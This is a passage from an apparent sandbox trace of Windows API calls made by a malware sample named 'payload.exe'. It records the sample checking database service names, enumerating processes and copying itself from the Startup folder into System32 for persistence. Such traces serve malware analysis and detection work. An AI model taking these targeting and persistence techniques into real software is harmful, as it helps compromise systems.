(lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.818] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0145.818] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0145.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0145.818] lstrlenW (lpString="Spooler") returned 7 [0145.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0145.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0145.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0145.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0145.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0145.818] lstrlenW (lpString="StateRepository") returned 15 [0145.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0145.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0145.818] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0145.818] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0145.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0145.818] lstrlenW (lpString="SysMain") returned 7 [0145.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0145.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0145.818] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0145.818] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0145.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0145.818] lstrlenW (lpString="SystemEventsBroker") returned 18 [0145.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.819] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0145.819] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0145.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0145.819] lstrlenW (lpString="Themes") returned 6 [0145.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0145.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0145.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0145.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0145.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0145.819] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0145.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0145.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0145.819] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0145.819] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0145.819] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a4930 | out: hHeap=0x660000) returned 1 [0145.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0145.824] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.825] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.825] lstrlenW (lpString="System") returned 6 [0145.825] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.826] lstrlenW (lpString="smss.exe") returned 8 [0145.826] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.827] lstrlenW (lpString="csrss.exe") returned 9 [0145.827] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.827] lstrlenW (lpString="wininit.exe") returned 11 [0145.827] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.827] lstrlenW (lpString="csrss.exe") returned 9 [0145.828] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.828] lstrlenW (lpString="winlogon.exe") returned 12 [0145.828] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.828] lstrlenW (lpString="services.exe") returned 12 [0145.828] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.829] lstrlenW (lpString="lsass.exe") returned 9 [0145.829] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.829] lstrlenW (lpString="svchost.exe") returned 11 [0145.829] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.830] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.830] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.830] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.830] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.831] lstrlenW (lpString="svchost.exe") returned 11 [0145.831] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.831] lstrlenW (lpString="dwm.exe") returned 7 [0145.831] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.832] lstrlenW (lpString="svchost.exe") returned 11 [0145.832] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.832] lstrlenW (lpString="svchost.exe") returned 11 [0145.832] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.833] lstrlenW (lpString="svchost.exe") returned 11 [0145.833] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.833] lstrlenW (lpString="svchost.exe") returned 11 [0145.833] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.834] lstrlenW (lpString="svchost.exe") returned 11 [0145.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.834] lstrlenW (lpString="svchost.exe") returned 11 [0145.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.835] lstrlenW (lpString="svchost.exe") returned 11 [0145.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.835] lstrlenW (lpString="svchost.exe") returned 11 [0145.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.836] lstrlenW (lpString="svchost.exe") returned 11 [0145.836] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.836] lstrlenW (lpString="svchost.exe") returned 11 [0145.836] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0145.837] lstrlenW (lpString="spoolsv.exe") returned 11 [0145.837] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.837] lstrlenW (lpString="svchost.exe") returned 11 [0145.837] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0145.838] lstrlenW (lpString="audiodg.exe") returned 11 [0145.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0145.838] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0145.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0145.839] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0145.839] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0145.839] lstrlenW (lpString="Memory Compression") returned 18 [0145.839] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0145.840] lstrlenW (lpString="sihost.exe") returned 10 [0145.840] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.840] lstrlenW (lpString="svchost.exe") returned 11 [0145.840] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0145.841] lstrlenW (lpString="taskhostw.exe") returned 13 [0145.841] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0145.841] lstrlenW (lpString="msoia.exe") returned 9 [0145.841] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.842] lstrlenW (lpString="explorer.exe") returned 12 [0145.842] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0145.843] lstrlenW (lpString="SearchUI.exe") returned 12 [0145.843] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0145.843] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0145.843] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0145.844] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0145.844] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.844] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0145.844] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0145.845] lstrlenW (lpString="payload.exe") returned 11 [0145.845] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.845] lstrlenW (lpString="dllhost.exe") returned 11 [0145.845] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.846] lstrlenW (lpString="dllhost.exe") returned 11 [0145.846] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0145.846] lstrlenW (lpString="payload.exe") returned 11 [0145.846] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0145.846] CloseHandle (hObject=0x240) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6775a8 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x677758 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x675138 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6751f8 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676140 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a29f0 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x675118 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x675058 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d588 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d740 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x675078 | out: hHeap=0x660000) returned 1 [0145.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d4e8 | out: hHeap=0x660000) returned 1 [0145.847] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6a4908 [0145.847] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6b4910 [0145.847] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a28b8 [0145.847] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28b8, Size=0x20) returned 0x69d6c8 [0145.847] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d6c8, Size=0x40) returned 0x6775a8 [0145.847] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2810 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2810, Size=0x20) returned 0x69d830 [0145.848] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a29a8 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a29a8, Size=0x20) returned 0x69d8d0 [0145.848] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a28b8 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a28b8, Size=0x20) returned 0x69d808 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d808, Size=0x40) returned 0x6775f0 [0145.848] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6b4910, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x48 [0145.848] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6c4918 [0145.848] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d4920 [0145.848] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2780 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2780, Size=0x20) returned 0x69d8a8 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d8a8, Size=0x40) returned 0x677a70 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677a70, Size=0x80) returned 0x6a3148 [0145.848] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3148, Size=0x100) returned 0x6a3148 [0145.848] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0145.848] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3148 | out: hHeap=0x660000) returned 1 [0145.849] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload.exe", lpDst=0x6c4918, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\payload.exe") returned 0x20 [0145.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d4920 | out: hHeap=0x660000) returned 1 [0145.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c4918 | out: hHeap=0x660000) returned 1 [0145.849] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x24ab020 [0145.852] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2960 [0145.852] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2960, Size=0x20) returned 0x69d790 [0145.852] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6a2780 [0145.852] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a2780, Size=0x20) returned 0x69d8a8 [0145.852] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.852] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.852] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0145.852] lstrlenW (lpString="kernel32.dll") returned 12 [0145.852] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d790 | out: hHeap=0x660000) returned 1 [0145.852] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.852] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d8a8 | out: hHeap=0x660000) returned 1 [0145.852] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0145.852] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\payload.exe" (normalized: "c:\\windows\\system32\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0145.947] ReadFile (in: hFile=0x240, lpBuffer=0x24ab020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ab020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0145.957] WriteFile (in: hFile=0x244, lpBuffer=0x24ab020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ab020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0145.959] ReadFile (in: hFile=0x240, lpBuffer=0x24ab020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ab020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0145.959] CloseHandle (hObject=0x244) returned 1 [0145.959] CloseHandle (hObject=0x240) returned 1 [0145.959] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 